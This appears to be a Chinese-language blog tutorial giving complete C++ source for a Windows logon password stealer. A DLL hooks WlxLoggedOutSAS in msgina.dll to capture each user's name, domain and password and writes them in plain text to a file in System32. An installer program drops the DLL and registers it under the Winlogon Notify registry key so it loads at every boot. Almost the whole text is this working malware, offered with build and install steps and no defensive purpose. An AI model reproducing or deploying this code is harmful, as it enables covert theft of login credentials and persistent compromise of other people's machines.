實現步驟:
1. 生成GetInfo.dll
2. 將生成的GetInfo.dll作為資源放到GetPwd工程中
3. 生成GetInfo.exe
4. 運行GetInfo.exe install
5. 重啟機器,輸入密碼,進入系統後會得到C:\WINDOWS\System32\getPwdout.txt文件,文件內容為:
實現原理:
將GetInfo.dll,放在WinLogon\Notify注冊表下時,系統啟動後會自動加載GetInfo.dll,而GetInfo.dll在加載時會HOOK掉WlxLoggedOutSAS,系統登錄時winlogon會加載WlxLoggedOutSAS函數,這個函數輸出值中有
PWLX_MPR_NOTIFY_INFO
結構,其中就存儲了用戶名和密碼。winlogon在登錄時會調用這個函數,我們HOOK掉了這個函數,所以就能拿到登錄的用戶名和密碼了。。
GetInfo.dll的實現
- // GetInfo.cpp : Defines the entry point for the DLL application.
- //
-
- #include "stdafx.h"
- #include "GetInfo.h"
- #include <stdio.h>
- #include <fstream.h>
- #include <iostream.h>
-
- //using namespace std;
- //宏定義
- #define WLX_SAS_ACTION_LOGON (1)
-
- //WLX_MPR_NOTIFY_INFO結構
- typedef struct _WLX_MPR_NOTIFY_INFO {
- PWSTR pszUserName;
- PWSTR pszDomain;
- PWSTR pszPassword;
- PWSTR pszOldPassword;
- } WLX_MPR_NOTIFY_INFO, *PWLX_MPR_NOTIFY_INFO;
-
- //函數原形
- typedef int (WINAPI* WlxLoggedOutSAS)(
- PVOID pWlxContext,
- DWORD dwSasType,
- PLUID pAuthenticationId,
- PSID pLogonSid,
- PDWORD pdwOptions,
- PHANDLE phToken,
- PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,
- PVOID *pProfile
- );
-
- //自定義接管的API函數,形參保持一致
- int WINAPI FunNewADDR(
- PVOID pWlxContext,
- DWORD dwSasType,
- PLUID pAuthenticationId,
- PSID pLogonSid,
- PDWORD pdwOptions,
- PHANDLE phToken,
- PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,
- PVOID *pProfile
- );
-
-
-
- //定義字節對齊方式
- #pragma pack(1)
- struct HookTable{
- HMODULE hMsgina;
- WlxLoggedOutSAS OldADDR;
- WlxLoggedOutSAS NewADDR;
- unsigned char charOldCode[6];
- unsigned char charJmpCode[6];
- };
-
- //全局hook表
- HookTable hooktable = {
- 0,
- 0,
- &FunNewADDR,
- "\x8b\xff\x55\x8B\xEC",
- "\xE9\x00\x00\x00\x00"
- };
-
- #pragma pack()
-
- //////////////////////////////////////////////////////////////////////////
- /////函數聲明
- ///////////////////////////////////////////////////////////////////////////
- VOID UnHookWlxLoggedOutSAS();
- VOID WriteLog(PWLX_MPR_NOTIFY_INFO pNprNotifyInfo);
- DWORD WINAPI StartHook(LPVOID lpParam);
- VOID HookWlxLoggedOutSAS();
-
-
- int WINAPI FunNewADDR(
- PVOID pWlxContext,
- DWORD dwSasType,
- PLUID pAuthenticationId,
- PSID pLogonSid,
- PDWORD pdwOptions,
- PHANDLE phToken,
- PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,
- PVOID *pProfile
- )
- /************************************************************************/
- /* 函數說明:自定義函數,用來取代WlxLoggedOutSAS */
- /* 參數:與WlxLoggedOutSAS參數相同 */
- /* 返回值:與WlxLoggedOutSAS返回值相同 */
- /************************************************************************/
- {
- UnHookWlxLoggedOutSAS();
-
- int i = hooktable.OldADDR(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pNprNotifyInfo,pProfile);
- if (i == WLX_SAS_ACTION_LOGON)
- {
- WriteLog(pNprNotifyInfo);
- }
- return i;
-
- }
-
-
- VOID WriteLog(PWLX_MPR_NOTIFY_INFO pNprNotifyInfo)
- /************************************************************************/
- /* 函數說明:將得到的用戶名和密碼信息寫入%system%/getPwdout.txt文件中 */
- /* 參數:pNprNotifyInfo 包含用戶名和密碼的結構體 */
- /* 返回值:無 */
- /************************************************************************/
- {
- char szSystemDir[MAX_PATH] = {0};
- GetSystemDirectory(szSystemDir, MAX_PATH - 1 );
- char szFilePath[MAX_PATH] = {0};
- strcat(szFilePath, szSystemDir);
- strcat(szFilePath, "\\getPwdout.txt");
-
- ofstream outfile;
- outfile.open(szFilePath);
-
- char szContent[1024 * 4] = {0};
- sprintf(szContent, "username:%ws\nDomain:%ws\npassword:%ws\nOldPassword:%ws\n\n", pNprNotifyInfo->pszUserName, pNprNotifyInfo->pszDomain, pNprNotifyInfo->pszPassword, pNprNotifyInfo->pszOldPassword);
-
- outfile.write(szContent, strlen(szContent));
- outfile.close();
-
- }
-
- VOID HookWlxLoggedOutSAS()
- /************************************************************************/
- /* 函數說明:HOOK WlxLoggedOutSAS函數 */
- /* 參數:無 */
- /* 返回值:無 */
- /************************************************************************/
- {
- DWORD OldProcte;
- VirtualProtect(hooktable.OldADDR, 5, PAGE_EXECUTE_READWRITE, &OldProcte);
-
- unsigned char *p = (unsigned char*)hooktable.OldADDR;
- for (int i=0; i < 5; i++)
- {
- p[i] = hooktable.charJmpCode[i];
- }
- VirtualProtect(hooktable.OldADDR, 5, OldProcte, &OldProcte);
- return;
- }
-
- VOID UnHookWlxLoggedOutSAS()
- /************************************************************************/
- /* 函數說明:恢復WlxLoggedOutSAS函數的原形 */
- /* 參數:無 */
- /* 返回值:無 */
- /************************************************************************/
- {
- DWORD OldProcte;
- VirtualProtect(hooktable.OldADDR, 5, PAGE_EXECUTE_READWRITE, &OldProcte);
-
- unsigned char *p = (unsigned char*)hooktable.OldADDR;
- for (int i=0; i < 5; i++)
- {
- p[i] = hooktable.charOldCode[i];
- }
- VirtualProtect(hooktable.OldADDR, 5, OldProcte, &OldProcte);
- return;
- }
-
- DWORD WINAPI StartHook(LPVOID lpParam)
- /************************************************************************/
- /* 函數說明:得到WlxLoggedOutSAS函數地址,並HOOK WlxLoggedOutSAS函數 */
- /* 參數:無 */
- /* 返回值:0表示成功 */
- /************************************************************************/
- {
- //得到msgina.dll
- //hooktable.hMsgina
- int n = 0;
- hooktable.hMsgina = LoadLibrary("msgina.dll");
- n = GetLastError();
- if (NULL == hooktable.hMsgina)
- {
- printf("getmoduleHandle msgina.dll error");
- return -1;
- }
- //得到WlxLoggedOutSAS
- hooktable.OldADDR = (WlxLoggedOutSAS)GetProcAddress(hooktable.hMsgina, "WlxLoggedOutSAS");
- if (NULL == hooktable.OldADDR)
- {
- printf("GetProcAddress WlxLoggedOutSAS error");
- return -1;
- }
- int *OpCode = (int*)&hooktable.charJmpCode[1];
- int Code = (int)hooktable.NewADDR - (int)hooktable.OldADDR -5;
- *OpCode = Code;
- HookWlxLoggedOutSAS();
- return 0;
- }
- BOOL APIENTRY DllMain( HANDLE hModule,
- DWORD ul_reason_for_call,
- LPVOID lpReserved
- )
- /************************************************************************/
- /* 函數說明:DLL的主函數 */
- /* 參數: */
- /* 返回值: */
- /************************************************************************/
- {
- switch (ul_reason_for_call)
- {
- case DLL_PROCESS_ATTACH:
- {
- //::CreateThread(NULL, 0, StartHook, NULL, 0, NULL);
- StartHook(NULL);
- }
- break;
- case DLL_THREAD_ATTACH:
- case DLL_THREAD_DETACH:
- case DLL_PROCESS_DETACH:
- break;
- }
- return TRUE;
- }
-
- // This is the constructor of a class that has been exported.
- // see GetInfo.h for the class definition
- CGetInfo::CGetInfo()
- {
- return;
- }
-
- extern "C" __declspec(dllexport) void start()
- {
- return;
- }
外殼工程:
- // getpwd.cpp : Defines the entry point for the console application.
- //
-
- #include "afx.h"
- #include <Windows.h>
- #include "resource.h"
- #include <Winerror.h>
- #include <Shlwapi.h>
- #pragma comment(lib, "Shlwapi.lib")
-
- LPBYTE CString_To_LPBYTE(CString str)
- /************************************************************************/
- /* 函數說明:將cstring類型轉換成LPBYTE類型 */
- /* 參數:str 要轉換的CString類型 */
- /* 返回值:LPBYTE 轉換後的LPBYTE類型 */
- /************************************************************************/
-
- {
- LPBYTE lpb=new BYTE[str.GetLength()+1];
- for(int i=0;i<str.GetLength();i++)
- lpb[i]=str[i];
- lpb[str.GetLength()]=0;
- return lpb;
- }
-
- BOOL install()
- /************************************************************************/
- /* 函數說明:釋放DLL,並將DLL的路徑寫入到注冊表中 */
- /* 參數:無 */
- /* 返回值:無 */
- /************************************************************************/
- {
- //釋放資源
- //定位我們的自定義資源,這裡因為我們是從本模塊定位資源,所以將句柄簡單地置為NULL即可
- HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_IDR_DLL1), TEXT("IDR_DLL"));
- if (NULL == hRsrc)
- return FALSE;
- //獲取資源的大小
- DWORD dwSize = SizeofResource(NULL, hRsrc);
- if (0 == dwSize)
- return FALSE;
- //加載資源
- HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
- if (NULL == hGlobal)
- return FALSE;
- //鎖定資源
- LPVOID pBuffer = LockResource(hGlobal);
- if (NULL == pBuffer)
- return FALSE;
-
- char szSystemDir[MAX_PATH] = {0};
- GetSystemDirectory(szSystemDir, MAX_PATH-1);
- char szRelDll[MAX_PATH] = {0};
- strcat(szRelDll, szSystemDir);
- strcat(szRelDll, "\\GetInfo.dll");
- DeleteFile(szRelDll);
- HANDLE hFile = CreateFile(szRelDll, FILE_GENERIC_READ|FILE_GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
- if (NULL == hFile)
- {
- return FALSE;
- }
- DWORD dwWritten;
- WriteFile(hFile, pBuffer, dwSize, &dwWritten, NULL);
-
- CloseHandle(hFile);
- FreeResource(hGlobal);
-
- //將釋放的DLL寫入到注冊 表的WINLOGON下,當WINLOGON啟動時,會加載這個DLL
- CString strDllPath = szRelDll; //("dog");
- //設置有關的數據
- //CString_To_LPBYTE,請參考下面的函數
- LPBYTE dllpath_Set=CString_To_LPBYTE(strDllPath);//定義用戶姓名 owner_Set
- DWORD type_1=REG_SZ;//定義數據類型
- DWORD cbData_1=strDllPath.GetLength()+1;//定義數據長度
-
- DWORD status = SHSetValue(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\GetPwd\\", "dllname", type_1, dllpath_Set, cbData_1);
- if (ERROR_SUCCESS != status)
- {
- printf("write reg:dllname error");
- return FALSE;
- }
-
- CString strStartUp("dog");
- LPBYTE startup_set=CString_To_LPBYTE(strStartUp);//定義公司名稱 company_Set
- DWORD type_2=REG_SZ;//定義數據類型
- DWORD cbData_2=strStartUp.GetLength()+1;//定義數據長度
-
- status = SHSetValue(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\GetPwd\\", "startup", type_2, startup_set, cbData_2);
- if (ERROR_SUCCESS != status)
- {
- printf("write reg:dllname error");
- return FALSE;
- }
-
- return TRUE;
- }
-
- BOOL decry()
- /************************************************************************/
- /* 函數說明:用於解密生成的密碼文件,生成密碼文件時沒有加密,所以這裡沒實現*/
- /* 參數:無 */
- /* 返回值:無 */
- /************************************************************************/
- {
- return TRUE;
- }
-
- VOID usage()
- /************************************************************************/
- /* 函數說明:打印使用幫助 */
- /* 參數:無 */
- /* 返回值:無 */
- /************************************************************************/
- {
- printf("************************************\n");
- printf("usages:\n");
- printf("getpwd.exe install\n");
- printf("getpwd.exe decryp\n");
- printf("************************************\n");
- }
-
-
- int main(int argc, char* argv[])
- /************************************************************************/
- /* 函數說明:Main函數 */
- /* 參數:無 */
- /* 返回值:無 */
- /************************************************************************/
- {
- if (argc != 2)
- {
- usage();
- return -1;
- }
- if (stricmp(argv[1], "install") == 0)
- {
- install();
- getchar();
- return 0;
- }
- else if (stricmp(argv[1], "decryp") == 0)
- {
- decry();
- return 0;
- }
- else
- {
- usage();
- return 0;
- }
-
- return 0;
- }